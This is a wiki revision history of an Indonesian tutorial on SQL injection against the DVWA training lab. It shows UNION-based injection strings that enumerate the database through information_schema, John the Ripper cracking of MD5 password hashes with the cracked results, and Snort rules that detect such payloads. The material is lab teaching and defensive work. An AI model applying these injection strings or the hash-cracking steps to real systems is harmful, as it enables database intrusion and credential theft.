DVWA: perintah SQL di server DVWA - Revision history

Onnowpurbo: /* Snort Rules untuk Mendeteksi */

2017-03-31T14:03:21Z

Snort Rules untuk Mendeteksi

← Older revision		Revision as of 14:03, 31 March 2017
Line 342:		Line 342:

	Beberapa alternatif snort local.rules untuk mendeteksi		Beberapa alternatif snort local.rules untuk mendeteksi

			alert tcp any any -> 192.168.0.100 80 (msg:"union"; content:"union"; nocase; classtype:web-application-attack; sid:1000033;)
			alert tcp any any -> 192.168.0.100 80 (msg:"union select"; content:"union+select"; nocase; classtype:web-application-attack; sid:1000034;)
			alert tcp any any -> 192.168.0.100 80 (msg:"information_schema"; content:"information_schema"; nocase; classtype:web-application-attack; sid:1000035;)

Onnowpurbo at 13:58, 31 March 2017

2017-03-31T13:58:10Z

← Older revision		Revision as of 13:58, 31 March 2017
Line 337:		Line 337:
	Use the "--show" option to display all of the cracked passwords reliably		Use the "--show" option to display all of the cracked passwords reliably
	Session completed		Session completed


			==Snort Rules untuk Mendeteksi==

			Beberapa alternatif snort local.rules untuk mendeteksi

Onnowpurbo at 01:34, 17 March 2017

2017-03-17T01:34:25Z

← Older revision		Revision as of 01:34, 17 March 2017
Line 322:		Line 322:

	/usr/sbin/john --format=raw-MD5 dvwa_password.txt		/usr/sbin/john --format=raw-MD5 dvwa_password.txt


			hasilnya kira-kira,

			Using default input encoding: UTF-8
			Loaded 5 password hashes with no different salts (Raw-MD5 [MD5 128/128 SSE2 4x3])
			Press 'q' or Ctrl-C to abort, almost any other key for status
			password (admin)
			password (smithy)
			abc123 (gordonb)
			letmein (pablo)
			charley (1337)
			5g 0:00:00:01 DONE 3/3 (2017-03-17 08:33) 2.732g/s 99292p/s 99292c/s 107714C/s charlie..charies
			Use the "--show" option to display all of the cracked passwords reliably
			Session completed

Onnowpurbo at 12:14, 16 March 2017

2017-03-16T12:14:10Z

← Older revision		Revision as of 12:14, 16 March 2017
Line 313:		Line 313:

	Coba di password yang di hash menggunakan MD5 crack misalnya menggunakan perintah john the ripper berikut		Coba di password yang di hash menggunakan MD5 crack misalnya menggunakan perintah john the ripper berikut
			di backtrack kemungkinan ada di

	cd /pentest/passwords/john		cd /pentest/passwords/john
	./john --format=raw-MD5 dvwa_password.txt		./john --format=raw-MD5 dvwa_password.txt


			di kali linux

			/usr/sbin/john --format=raw-MD5 dvwa_password.txt

Onnowpurbo at 10:11, 16 March 2017

2017-03-16T10:11:13Z

← Older revision		Revision as of 10:11, 16 March 2017
Line 113:		Line 113:
	Masukan perintah		Masukan perintah

	SELECT first_name, last_name FROM users WHERE user_id = '%' or 0=0 union select null, version() #;		SELECT first_name, last_name FROM users WHERE user_id = '%' or 0=0 union select null, version() #';

	Keluar		Keluar
Line 302:		Line 302:

	Masukan kedalam sebuah file text, misalnya dvwa_password.txt,		Masukan kedalam sebuah file text, misalnya dvwa_password.txt,
	isinya adalah username:password yang di hash untuk bisa di crack menggunakan john the ripper		isinya adalah username:password yang di hash untuk bisa di crack menggunakan john the ripper.
			Pastikan tidak ada spasi dll dari ujung ke ujung setiap line supaya bisa di parsing oleh john.

	admin:5f4dcc3b5aa765d61d8327deb882cf99		admin:5f4dcc3b5aa765d61d8327deb882cf99

Onnowpurbo at 10:50, 11 March 2017

2017-03-11T10:50:18Z

@@ Line 1: / Line 1: @@
 Pada saat kita berlatih SQL Injection menggunakan DVWA, akan lebih mudah untuk mengerti
-jika kita mengerti perintah SQL yang di berikan. Langkah untuk mempelajari ini tidak terlalu sulit
+jika kita mengerti perintah SQL yang di berikan.
 * Login ke mesin server yang kita instalasi DVWA
@@ Line 6: / Line 11: @@
   sudo su
 * Masuk ke database MySQL, jika password root mysql adalah 123456, maka kita dapat menggunakan perintah
@@ Line 225: / Line 229: @@
   +------------+-----------------------------------+
 rows in set (0,00 sec)

Onnowpurbo at 10:39, 11 March 2017

2017-03-11T10:39:05Z

← Older revision		Revision as of 10:39, 11 March 2017
Line 203:		Line 203:
	INFORMATION_SCHEMA adalah database informasi, yang menyimpan semua informasi		INFORMATION_SCHEMA adalah database informasi, yang menyimpan semua informasi
	tentang database yang di maintain oleh MySQL.		tentang database yang di maintain oleh MySQL.

			Untuk mencek apakah ada tabel user di salah satu database, masukan perintah,

			SELECT first_name, last_name FROM users WHERE user_id = '%' and 1=0 union select null, table_name from information_schema.tables where table_name like 'user%'#';

			Akan keluar

			+------------+-----------------------------------+
			\| first_name \| last_name \|
			+------------+-----------------------------------+
			\| NULL \| USER_PRIVILEGES \|
			\| NULL \| users \|
			\| NULL \| user \|
			\| NULL \| user_variables_by_thread \|
			\| NULL \| user_summary \|
			\| NULL \| user_summary_by_file_io \|
			\| NULL \| user_summary_by_file_io_type \|
			\| NULL \| user_summary_by_stages \|
			\| NULL \| user_summary_by_statement_latency \|
			\| NULL \| user_summary_by_statement_type \|
			+------------+-----------------------------------+
			10 rows in set (0,00 sec)

Onnowpurbo at 10:36, 11 March 2017

2017-03-11T10:36:26Z

Show changes

Onnowpurbo at 10:16, 11 March 2017

2017-03-11T10:16:41Z

← Older revision		Revision as of 10:16, 11 March 2017
Line 41:		Line 41:
	Dimana '$id' adalah input parameter yang diberikan oleh user. Kita bisa bermain-main		Dimana '$id' adalah input parameter yang diberikan oleh user. Kita bisa bermain-main
	dengan ini di console mysql. Setelah kita 'use dvwa' maka kita bisa bermain-main		dengan ini di console mysql. Setelah kita 'use dvwa' maka kita bisa bermain-main
	dengan MySQL secara manual tanpa melakukan ~~inject~~		dengan MySQL secara manual tanpa melakukan injection.

Onnowpurbo: Created page with "Pada saat kita berlatih SQL Injection menggunakan DVWA, akan lebih mudah untuk mengerti jika kita mengerti perintah SQL yang di berikan. Langkah untuk mempelajari ini tidak te..."

2017-03-11T10:16:29Z

Created page with "Pada saat kita berlatih SQL Injection menggunakan DVWA, akan lebih mudah untuk mengerti jika kita mengerti perintah SQL yang di berikan. Langkah untuk mempelajari ini tidak te..."

New page

Pada saat kita berlatih SQL Injection menggunakan DVWA, akan lebih mudah untuk mengerti
jika kita mengerti perintah SQL yang di berikan. Langkah untuk mempelajari ini tidak terlalu sulit

* Login ke mesin server yang kita instalasi DVWA
* menjadi super user, menggunakan perintah

sudo su

* Masuk ke database MySQL, jika password root mysql adalah 123456, maka kita dapat menggunakan perintah

mysql -u root -p123456

Jika berhasil dengan baik maka akan keluar

mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 4
Server version: 5.7.17-0ubuntu0.16.04.1 (Ubuntu)

Copyright (c) 2000, 2016, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>

* Untuk berlatih kita perlu menggunakan database dvwa, ketik perintah

use dvwa

Kita sudah siap untuk belajar / memlihat apa yang terjadi jika kita latihan SQL Injection.
Perintah yang diberikan di menu SQL Injection DVWA sebetulnya adalah

SELECT first_name, last_name FROM users WHERE user_ID = '$id'

Dimana '$id' adalah input parameter yang diberikan oleh user. Kita bisa bermain-main
dengan ini di console mysql. Setelah kita 'use dvwa' maka kita bisa bermain-main
dengan MySQL secara manual tanpa melakukan inject